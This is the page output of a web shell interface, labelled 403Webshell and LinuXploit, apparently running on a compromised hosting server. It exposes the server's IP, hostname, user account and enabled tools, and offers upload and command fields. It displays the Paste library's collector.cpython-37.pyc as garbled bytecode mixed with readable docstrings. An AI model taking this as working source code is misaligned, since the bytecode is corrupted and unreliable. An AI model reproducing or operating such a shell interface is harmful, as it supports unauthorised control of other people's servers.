403Webshell
Server IP : 192.158.238.246  /  Your IP : 3.19.234.118
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/paste/exceptions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/paste/exceptions/__pycache__/collector.cpython-37.pyc
B

a�NBM�@s�dZddlZddlZddlZyddlmZWn ek
rLddlmZYnXddlZddlm	Z	ddl
Z
dZdZdZ
dd	gZGd
d	�d	e�ZdZGdd
�d
e�ZGdd�de�ZGdd�de�ZGdd�de�Zeed�r�eeej�Ze�Zddd�ZdS)zJ
An exception collector that finds traceback information plus
supplements
�N)�StringIO)�serial_number_generatorTzE-zUTF-8�collect_exception�ExceptionCollectorc@sXeZdZdZdZddd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
ddd�Zdd�ZdS)ra
    Produces a data structure that can be used by formatters to
    display exception reports.

    Magic variables:

    If you define one of these variables in your local scope, you can
    add information to tracebacks that happen in that context.  This
    allows applications to add all sorts of extra information about
    the context of the error, including URLs, environmental variables,
    users, hostnames, etc.  These are the variables we look for:

    ``__traceback_supplement__``:
        You can define this locally or globally (unlike all the other
        variables, which must be defined locally).

        ``__traceback_supplement__`` is a tuple of ``(factory, arg1,
        arg2...)``.  When there is an exception, ``factory(arg1, arg2,
        ...)`` is called, and the resulting object is inspected for
        supplemental information.

    ``__traceback_info__``:
        This information is added to the traceback, usually fairly
        literally.

    ``__traceback_hide__``:
        If set and true, this indicates that the frame should be
        hidden from abbreviated tracebacks.  This way you can hide
        some of the complexity of the larger framework and let the
        user focus on their own errors.

        By setting it to ``'before'``, all frames before this one will
        be thrown away.  By setting it to ``'after'`` then all frames
        after this will be thrown away until ``'reset'`` is found.  In
        each case the frame where it is set is included, unless you
        append ``'_and_this'`` to the value (e.g.,
        ``'before_and_this'``).

        Note that formatters will ignore this entirely if the frame
        that contains the error wouldn't normally be shown according
        to these rules.

    ``__traceback_reporter__``:
        This should be a reporter object (see the reporter module),
        or a list/tuple of reporter objects.  All reporters found this
        way will be given the exception, innermost first.

    ``__traceback_decorator__``:
        This object (defined in a local or global scope) will get the
        result of this function (the CollectedException defined
        below).  It may modify this object in place, or return an
        entirely new object.  This gives the object the ability to
        manipulate the traceback arbitrarily.

    The actually interpretation of these values is largely up to the
    reporters and formatters.
    
    ``collect_exception(*sys.exc_info())`` will return an object with
    several attributes:

    ``frames``:
        A list of frames
    ``exception_formatted``:
        The formatted exception, generally a full traceback
    ``exception_type``:
        The type of the exception, like ``ValueError``
    ``exception_value``:
        The string value of the exception, like ``'x not in list'``
    ``identification_code``:
        A hash of the exception data meant to identify the general
        exception, so that it shares this code with other exceptions
        that derive from the same problem.  The code is a hash of
        all the module names and function names in the traceback,
        plus exception_type.  This should be shown to users so they
        can refer to the exception later. (@@: should it include a
        portion that allows identification of the specific instance
        of the exception as well?)
        
    The list of frames goes innermost first.  Each frame has these
    attributes; some values may be None if they could not be
    determined.

    ``modname``:
        the name of the module
    ``filename``:
        the filename of the module
    ``lineno``:
        the line of the error
    ``revision``:
        the contents of __version__ or __revision__
    ``name``:
        the function name
    ``supplement``:
        an object created from ``__traceback_supplement__``
    ``supplement_exception``:
        a simple traceback of any exception ``__traceback_supplement__``
        created
    ``traceback_info``:
        the str() of any ``__traceback_info__`` variable found in the local
        scope (@@: should it str()-ify it or not?)
    ``traceback_hide``:
        the value of any ``__traceback_hide__`` variable
    ``traceback_log``:
        the value of any ``__traceback_log__`` variable
    

    ``__traceback_supplement__`` is thrown away, but a fixed
    set of attributes are captured; each of these attributes is
    optional.

    ``object``:
        the name of the object being visited
    ``source_url``:
        the original URL requested
    ``line``:
        the line of source being executed (for interpreters, like ZPT)
    ``column``:
        the column of source being executed
    ``expression``:
        the expression being evaluated (also for interpreters)
    ``warnings``:
        a list of (string) warnings to be displayed
    ``getInfo``:
        a function/method that takes no arguments, and returns a string
        describing any extra information
    ``extraData``:
        a function/method that takes no arguments, and returns a
        dictionary.  The contents of this dictionary will not be
        displayed in the context of the traceback, but globally for
        the exception.  Results will be grouped by the keys in the
        dictionaries (which also serve as titles).  The keys can also
        be tuples of (importance, title); in this case the importance
        should be ``important`` (shows up at top), ``normal`` (shows
        up somewhere; unspecified), ``supplemental`` (shows up at
        bottom), or ``extra`` (shows up hidden or not at all).

    These are used to create an object with attributes of the same
    names (``getInfo`` becomes a string attribute, not a method).
    ``__traceback_supplement__`` implementations should be careful to
    produce values that are relatively static and unlikely to cause
    further errors in the reporting system -- any complex
    introspection should go in ``getInfo()`` and should ultimately
    return a string.

    Note that all attributes are optional, and under certain
    circumstances may be None or may not exist at all -- the collector
    can only do a best effort, but must avoid creating any exceptions
    itself.

    Formatters may want to use ``__traceback_hide__`` as a hint to
    hide frames that are part of the 'framework' or underlying system.
    There are a variety of rules about special values for this
    variables that formatters should be aware of.
    
    TODO:

    More attributes in __traceback_supplement__?  Maybe an attribute
    that gives a list of local variables that should also be
    collected?  Also, attributes that would be explicitly meant for
    the entire request, not just a single frame.  Right now some of
    the fixed set of attributes (e.g., source_url) are meant for this
    use, but there's no explicit way for the supplement to indicate
    new values, e.g., logged-in user, HTTP referrer, environment, etc.
    Also, the attributes that do exist are Zope/Web oriented.

    More information on frames?  cgitb, for instance, produces
    extensive information on local variables.  There exists the
    possibility that getting this information may cause side effects,
    which can make debugging more difficult; but it also provides
    fodder for post-mortem debugging.  However, the collector is not
    meant to be configurable, but to capture everything it can and let
    the formatters be configurable.  Maybe this would have to be a
    configuration value, or maybe it could be indicated by another
    magical variable (which would probably mean 'show all local
    variables below this frame')
    rNcCs
||_dS)N)�limit)�selfr�r�K/opt/alt/python37/lib/python3.7/site-packages/paste/exceptions/collector.py�__init__�szExceptionCollector.__init__cCs|j}|dkrttdd�}|S)N�tracebacklimit)r�getattr�sys)rrrrr	�getLimit�szExceptionCollector.getLimitcCsX|js
dS|�dd�}|dkr*|�dd�}|dk	rTyt|���}Wnd}YnX|S)NZ__revision__�__version__z???)�show_revisions�get�str�strip)r�globals�revisionrrr	�getRevision�s
zExceptionCollector.getRevisioncCsti}xdD]}t||d�||<q
Wt|dd�}|r>|�|d<nd|d<t|dd�}|rb|�|d<nd|d<tf|�S)N)�object�
source_url�line�column�
expression�warningsZgetInfo�infoZ	extraData�extra)r�SupplementaryData)r�
supplement�tb�result�name�funcrrr	�collectSupplement�s
z$ExceptionCollector.collectSupplementcCs�|j}|j}|j}|j}|j}|j}|j}	t|	d�sRt�	d|�
dd�|	f�i}	i}
|�
dd�|
d<||
d<||
d<|�|�|
d<||
d	<t|�|
d
<|	�
d�r�|	d}n|�
d�r�|d}nd}|dk	�rp|d}|d
d�}
yX||
�}|�||�|
d<|
dj�r8x.|
dj��D]\}}|�|g��|��qWWn4t�rjt�}tj|d�|��}||
d<YnXy&|	�
dd�}|dk	�r�t|�|
d<WnYnXg}xNdD]F}y2|	�
||�
||��}||k	�r�||
|dd�<WnYnX�q�W|
S)N�has_keyz$Frame %s has an invalid locals(): %r�__name__�unknown�modname�filename�linenorr#�tbidZ__traceback_supplement__r�r )�file�supplement_exceptionZ__traceback_info__�traceback_info)Z__traceback_hide__Z__traceback_log__Z__traceback_decorator__����)�tb_frame�	tb_lineno�f_code�co_filename�co_name�	f_globals�f_locals�hasattrr�warnrr�idr&r%r�items�
setdefault�append�DEBUG_EXCEPTION_FORMATTERr�	traceback�	print_exc�getvaluer)rr!�
extra_data�fr+�cor*r#r�locals�dataZtbs�factory�argsZsupp�key�value�out�textZtbi�markerZtbhrrr	�collectLinesl








zExceptionCollector.collectLinecCst�||�S)N)rA�format_exception_only)r�etyperLrrr	�collectExceptionOnlyLsz'ExceptionCollector.collectExceptionOnlyc	Csdd}g}g}g}|dkr |��}d}	i}
x�|dk	r�|dksB|	|kr�|jj�d�r\|�d�P|�||
�}tf|�}|�|�|jdk	r�|�|j�|�|jp�d�|�|j	p�d�|j
}|	d}	q*W|�t|��tj
d�|�ddtd	�}
t||�||�||�|�|
t��|
d
�}|tk�r(tjg|
d<x6|D].}y||�}|dk	�rJ|}WnYnX�q.W|S)Nr-r�__exception_formatter__z&(Recursive formatException() stopped)
�?� �T)�length�upper�prefix)�frames�exception_formatted�exception_type�exception_value�identification_code�daterD)Z	importantzsys.path)rr3r9rr?rP�ExceptionFrame�traceback_decoratorr)r#�tb_nextrrZhash_identifier�join�DEBUG_IDENT_PREFIX�CollectedExceptionrS�safeStr�time�	localtime�ImportErrorr
�path)rrRrLr!rrTr[Z
ident_dataZtraceback_decorators�nrDrH�frame�identr"Z	decoratorZ
new_resultrrr	�collectExceptionOsV







z#ExceptionCollector.collectExceptioncCsLyt|�Stk
rFyt|��td�Stk
r@t|�SXYnXdS)N�replace)r�UnicodeEncodeError�unicode�encode�FALLBACK_ENCODING�repr)r�objrrr	rgszExceptionCollector.safeStr)N)N)
r'�
__module__�__qualname__�__doc__rr
rrr%rPrSrorgrrrr	r(s2
D
0��c@s eZdZdZdd�Zdd�ZdS)�Bunchz
    A generic container
    cKs&x |��D]\}}t|||�q
WdS)N)r=�setattr)r�attrsr#rLrrr	r
�szBunch.__init__cCs2d|jj}|d�dd�|j��D��7}|dS)Nz<%s rVcSs2g|]*\}}|�d�sd|t|�dd�f�qS)�_z%s=%rN�)�
startswithr)�.0r#rLrrr	�
<listcomp>�sz"Bunch.__repr__.<locals>.<listcomp>�>)�	__class__r'rd�__dict__r=)rr#rrr	�__repr__�szBunch.__repr__N)r'rwrxryr
r�rrrr	r{�sr{c@s,eZdZdZgZdZdZdZdZdZ	iZ
dS)rfze
    This is the result of collection the exception; it contains copies
    of data of interest.
    N)r'rwrxryr[r\r]r^r_r`rDrrrr	rf�srfc@s,eZdZdZdZdZdZdZdZdZ	dZ
dS)rz�
    The result of __traceback_supplement__.  We don't keep the
    supplement object around, for fear of GC problems and whatnot.
    (@@: Maybe I'm being too superstitious about copying only specific
    information over)
    N)r'rwrxryrrrrrrrrrrr	r�src@sFeZdZdZdZdZdZdZdZdZ	dZ
dZdZdZ
dZddd�ZdS)raz�
    This represents one frame of the exception.  Each frame is a
    context in the call stack, typically represented by a line
    number and module name in the traceback.
    NFrcCsV|jr|jsdSg}x6t|j||j|d�D]}|�t�|j|��q0Wd�|�S)a2
        Return the source of the current line of this frame.  You
        probably want to .strip() it as well, as it is likely to have
        leading whitespace.

        If context is given, then that many lines on either side will
        also be returned.  E.g., context=1 will give 3 lines.
        Nr-�)r*r+�ranger?�	linecache�getlinerd)r�context�linesr+rrr	�get_source_line�s	 zExceptionFrame.get_source_line)r)r'rwrxryr)r*r+rr#r r/r0Ztraceback_hiderbr,r�rrrr	ra�srarcCstj||||d�S)z�
    Collection an exception from ``sys.exc_info()``.
    
    Use like::

      try:
          blah blah
      except:
          exc_data = collect_exception(*sys.exc_info())
    )r)�colro)�t�vr!rrrr	rs)N)ryr
rArh�	cStringIOrrjr�Zpaste.exceptionsrrr@rert�__all__rrrr{rfrrar:�minrr�rrrrr	�<module>s4d5


Youez - 2016 - github.com/yon3zu
LinuXploit